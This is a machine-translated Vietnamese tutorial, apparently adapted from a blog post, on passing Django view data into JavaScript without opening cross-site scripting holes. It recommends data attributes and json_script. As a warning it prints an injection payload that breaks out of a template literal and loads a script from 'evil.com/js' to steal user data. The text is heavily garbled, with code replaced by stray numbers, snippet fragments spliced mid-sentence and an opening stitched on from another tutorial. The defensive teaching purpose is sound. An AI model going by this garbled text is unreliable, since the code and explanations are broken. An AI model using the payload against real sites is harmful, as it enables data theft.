Cách chuyển giá trị từ chế độ xem sang html trong django
Như bạn có thể thấy trong chế độ xem ở trên, chúng tôi tạo một đối tượng có tên bối cảnh và điền dữ liệu vào đó, đồng thời gửi nó dưới dạng tham số đầu tiên trong hàm <script> const username = "Adam <3"; script>4 Show
Tạo biến trong mẫuBạn cũng có thể tạo các biến trực tiếp trong mẫu bằng cách sử dụng thẻ mẫu 0Ví dụ<script> const username = "Adam <3"; script>5 Chạy ví dụ »Bạn sẽ tìm hiểu thêm về các thẻ mẫu trong chương tiếp theo Dữ liệu từ một mô hìnhVí dụ trên cho thấy một cách tiếp cận dễ dàng về cách tạo và sử dụng các biến trong một mẫu Thông thường, hầu hết dữ liệu bên ngoài mà bạn muốn sử dụng trong mẫu đều đến từ một mẫu Chúng tôi đã tạo một mô hình trong các chương trước, được gọi là 2, chúng tôi sẽ sử dụng mô hình này trong nhiều ví dụ trong các chương tiếp theo của hướng dẫn nàyĐể lấy dữ liệu từ mô hình 2, chúng tôi sẽ phải nhập nó vào tệp <script> const username = "Adam <3"; script>6 và trích xuất dữ liệu từ nó trong chế độ xem Bạn muốn chuyển dữ liệu của mình từ chế độ xem Django sang JavaScript, trong mẫu của bạn. Và, bạn muốn làm điều đó một cách an toàn, không có nguy cơ vô tình cho phép tiêm mã độc. Tuyệt vời, đây là bài viết dành cho bạn Chúng ta sẽ xem xét các vấn đề với JavaScript tạo khuôn mẫu, sau đó là hai kỹ thuật Và cuối cùng, một số tùy chọn khác mà tôi không khuyên dùng Đi nào Cập nhật (21-10-2022) Kênh Youtube BugBytes có một video dựa trên bài đăng này, minh họa hai kỹ thuật đã được phê duyệt JavaScript tạo khuôn mẫu không hoạt độngNhiều nhà phát triển thử trực tiếp tạo khuôn mẫu cho các thẻ {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>8 nội tuyến {# DON’T DO THIS #} <script> const username = "{{ username }}"; script> Tôi khuyên bạn không bao giờ làm điều này Điều này thường không hoạt động, vì Django thực hiện thoát HTML trên giá trị. Ví dụ: nếu {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>9 là a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`0, đầu ra sẽ là ________số 8 Điều này có nghĩa là hiển thị tên người dùng không chính xác Ngoài ra, sẽ cực kỳ nguy hiểm nếu bạn tạo mẫu các biến không phải chuỗi hoặc sử dụng các ký tự mẫu JavaScript (chuỗi f của JavaScript sử dụng backticks). Ví dụ, lấy mẫu này {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script> Một giá trị độc hại có thể sử dụng một backtick để kết thúc nghĩa đen, sau đó thêm JavaScript tùy ý. Ví dụ: nếu {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>9 là a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;` … thì HTML sẽ là 2Mã này xác định a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`2, sau đó chèn một {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>8 vào DOM có nguồn từ a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`4. Tập lệnh đó có thể đánh cắp tất cả dữ liệu người dùng. panik Hệ thống mẫu của Django chỉ thoát khỏi HTML. Nó không được thiết kế để thoát các giá trị bên trong JavaScript, vốn có cú pháp rộng hơn Mặc dù JavaScript tạo khuôn mẫu hoạt động trong một số trường hợp hạn chế, vì nó thường không an toàn, tôi khuyên bạn đừng bao giờ làm điều đó. Quá khó để duy trì sự tách biệt giữa các biến luôn chứa các ký tự an toàn và các biến không. Ngoài ra, chỉ một số thẻ và bộ lọc nhất định là an toàn. Theo thời gian, cuối cùng bạn sẽ giới thiệu các lỗ hổng bảo mật Thay vào đó, hãy sử dụng một trong hai kỹ thuật sau Sử dụng thuộc tính dữ liệu cho các giá trị đơn giảnĐể chuyển các giá trị đơn giản vào JavaScript của bạn, thật thuận tiện khi sử dụng các thuộc tính dữ liệu 6a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`5 cung cấp quyền truy cập nhanh vào phần tử {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>8 hiện tại. Thuộc tính a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`7 của nó chứa các thuộc tính đã truyền dưới dạng chuỗi Tập tin kịch bản riêng biệtBạn cũng có thể sử dụng a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`5 cho các tệp tập lệnh riêng biệt 1… đọc giống nhau 2đơn giản Tôi khuyên bạn nên sử dụng các tệp tập lệnh riêng biệt càng nhiều càng tốt. Chúng tốt hơn cho hiệu suất vì trình duyệt có thể lưu trữ mã. Ngoài ra, bạn có thể thiết lập Chính sách bảo mật nội dung (CSP) để không cho phép các thẻ tập lệnh nội tuyến, ngăn chặn các cuộc tấn công XSS—hãy xem bài đăng tiêu đề bảo mật của tôi. ) trường hợp chuyển đổiThuộc tính a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`7 chuyển kebab-case thành camelCase. Ví dụ: nếu bạn có 20 5…bạn sẽ đọc nó bằng JavaScript là 21 7Thịt nướng HTML trở thành lạc đà JavaScript Các loại không phải chuỗia`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`7 chỉ chứa chuỗi, bởi vì tất cả các giá trị thuộc tính HTML đều là chuỗi. Nếu bạn đang chuyển một số, ngày tháng hoặc loại đơn giản khác vào JavaScript của mình, bạn sẽ cần phân tích cú pháp nó. Ví dụ, hãy tưởng tượng bạn đang truyền một số nguyên <script> const username = "Adam <3"; script>0 …bạn muốn 23 chuyển đổi giá trị này từ một chuỗi<script> const username = "Adam <3"; script>1 Đúng-o Không có giới hạnMột {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>8 có thể có bao nhiêu thuộc tính dữ liệu tùy thích <script> const username = "Adam <3"; script>2 …nhưng tại một số điểm, điều này có thể cảm thấy khá khó sử dụng. Ngoài ra, không thuận tiện khi chuyển các loại phức tạp như ký tự hoặc danh sách trong thuộc tính. Điều đó dẫn chúng ta đến cửa số hai Sử dụng {# DON’T DO THIS #} 7 cho các giá trị phức tạpNếu bạn cần chuyển một lệnh hoặc danh sách tới JavaScript, hãy sử dụng Django's. Ví dụ: hãy tưởng tượng chế độ xem của bạn đã chuyển biến này trong ngữ cảnh <script> const username = "Adam <3"; script>3 Bạn có thể chuyển biến này tới bộ lọc {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>7 như vậy <script> const username = "Adam <3"; script>4 Django sẽ hiển thị thẻ 28 chứa dữ liệu<script> const username = "Adam <3"; script>5 Sau đó, tập lệnh có thể tìm thấy dữ liệu {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>8 là phần tử tiếp theo sau a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`5 bằng cách sử dụng 61 và phân tích dữ liệu bằng 62<script> const username = "Adam <3"; script>6 Ngọt Django < 4. 1Hình thức trên của {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>7 chỉ được hỗ trợ trên Django 4. 1+. Trước đó, bạn cần cung cấp cho nó một ID cho dữ liệu {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>8, nhưng bạn có thể vượt qua 65, trình duyệt hiểu là “không có ID”<script> const username = "Adam <3"; script>7 …kết xuất như <script> const username = "Adam <3"; script>8 Đoạn JavaScript trên vẫn hoạt động vì nó chỉ sử dụng cấu trúc DOM để tìm dữ liệu {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>8 Alrighty sau đó Với một IDBạn cũng có thể chuyển ID tới {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>7 để lấy dữ liệu {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>8. Điều này có thể hữu ích nếu JavaScript {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>8 của bạn không nằm cạnh dữ liệu của bạn {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>8 hoặc nếu một tệp JavaScript sẽ sử dụng một số dữ liệu {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>8. Ví dụ <script> const username = "Adam <3"; script>9 Django biểu hiện điều này như {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>0 Sau đó, bạn có thể sử dụng 12 để tìm phần tử dữ liệu {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>8 và một lần nữa 62 để phân tích cú pháp dữ liệu chứa trong đó{# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>1 Đây là kỹ thuật được đề xuất trong tài liệu {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>7 Khéo léo Các kỹ thuật không được đề xuất khácDưới đây là một số tùy chọn khác mà bạn đã thấy, mà tôi không khuyến nghị Sử dụng bộ lọc from django.http import HttpResponse from django.template import loader def testing(request): template = loader.get_template('template.html') context = { 'firstname': 'Linus', } return HttpResponse(template.render(context, request))16 không an toànBạn có thể đã thấy JavaScript theo khuôn mẫu sử dụng {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>2 16 đánh dấu một biến là “an toàn để đưa trực tiếp vào HTML”, tức là nó vô hiệu hóa tính năng thoát HTML của Django. Điều này sẽ cho phép 19 xuất hiện không bị thay đổi trong tập lệnh được tạo mẫu{# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>3 Điều này mở rộng tập lệnh để tấn công. Hãy tưởng tượng {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>9 là {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>4 …sau đó, HTML được hiển thị sẽ là {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>5 Trình duyệt phân tích cú pháp HTML mà không có bất kỳ nhận thức nào về cú pháp JavaScript, dẫn đến
Một lần nữa, 24 có thể đánh cắp tất cả dữ liệu người dùng. panikVì vậy, sử dụng 16 như thế này là không an toàn. Nó chỉ an toàn khi sử dụng nó với HTML đã thoát, chẳng hạn như từ một đoạn được kết xuất trướcThế còn from django.http import HttpResponse from django.template import loader def testing(request): template = loader.get_template('template.html') context = { 'firstname': 'Linus', } return HttpResponse(template.render(context, request))50 thì sao?Có thể tạo mẫu JavaScript với {# DON’T DO THIS #} <script> const greeting = `Hi {{ username }}`; script>6 Tuy nhiên, điều này có một số điểm tinh tế, như các tài liệu hiện đang nói Điều này không làm cho chuỗi an toàn để sử dụng trong văn bản mẫu HTML hoặc JavaScript (Lời nhắc nhở. chữ mẫu là JavaScript tương đương với chuỗi f. ) Tuy nhiên, có một PR mở để cải thiện tài liệu. Có vẻ như trước đây 50 đã được đảm bảo an toàn nhờ cập nhật tài liệuTuy nhiên, tôi khuyên bạn nên sử dụng thuộc tính dữ liệu vì
|